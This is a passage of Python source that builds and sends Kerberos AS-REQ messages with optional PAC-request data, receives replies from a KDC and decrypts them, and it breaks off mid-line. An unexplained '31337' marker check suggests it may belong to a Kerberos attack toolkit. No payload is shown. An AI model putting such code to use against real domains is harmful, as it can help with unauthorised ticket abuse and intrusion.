encode(pa_ts_enc)) 721 | 722 | return pa_ts 723 | 724 | def build_as_req(target_realm, user_name, key, current_time, nonce, pac_request=None): 725 | req_body = build_req_body(target_realm, 'krbtgt', '', nonce, cname=user_name) 726 | pa_ts = build_pa_enc_timestamp(current_time, key) 727 | 728 | as_req = AS_REQ() 729 | 730 | as_req['pvno'] = 5 731 | as_req['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) 732 | 733 | as_req['padata'] = None 734 | as_req['padata'][0] = None 735 | as_req['padata'][0]['padata-type'] = 2 736 | as_req['padata'][0]['padata-value'] = encode(pa_ts) 737 | 738 | if pac_request is not None: 739 | pa_pac_request = KERB_PA_PAC_REQUEST() 740 | pa_pac_request['include-pac'] = pac_request 741 | as_req['padata'][1] = None 742 | as_req['padata'][1]['padata-type'] = 128 743 | as_req['padata'][1]['padata-value'] = encode(pa_pac_request) 744 | 745 | as_req['req-body'] = _v(4, req_body) 746 | 747 | return as_req 748 | 749 | def send_req(req, kdc, port=88): 750 | data = encode(req) 751 | data = pack('>I', len(data)) + data 752 | sock = socket() 753 | sock.connect((kdc, port)) 754 | sock.send(data) 755 | return sock 756 | 757 | def recv_rep(sock): 758 | data = '' 759 | datalen = None 760 | while True: 761 | rep = sock.recv(8192) 762 | if not rep: 763 | sock.close() 764 | raise IOError('Connection error') 765 | data += rep 766 | if len(rep) >= 4: 767 | if datalen is None: 768 | datalen = unpack('>I', rep[:4])[0] 769 | if len(data) >= 4 + datalen: 770 | sock.close() 771 | return data[4:4 + datalen] 772 | 773 | def _decrypt_rep(data, key, spec, enc_spec, msg_type): 774 | rep = decode(data, asn1Spec=spec)[0] 775 | rep_enc = str(rep['enc-part']['cipher']) 776 | #print rep_enc 777 | rep_enc = decrypt(key[0], key[1], msg_type, rep_enc) 778 | 779 | # MAGIC 780 | if rep_enc[:20] == '31337313373133731337': 781 | return rep_enc[20:22], None 782 | 783 | rep_enc = decode(rep_enc, asn1Spec=enc_spec)[0] 784 | 785 | return rep, rep_enc 786 | 787 | def decrypt_tgs_rep(data, key): 788 | try: 789 | packet = decode(data, asn1Spec=KRB_ERROR())[0] 790 | except: 791 | return _decrypt_rep(data, key, TGS_REP(), EncTGSRepPart(), 9) # assume subkey 792 | else: # packet contains an error 793 | try: 794 | error_code = decode(str(packet['e-data']), asn1Spec=KERB_ERROR_DATA())[0] 795 | except pyasn1.error.SubstrateUnderrunError: 796 | err = "An unknown error happend during packet parsing (bad SPN?)" 797 | else: 798 | nt_error = unpack('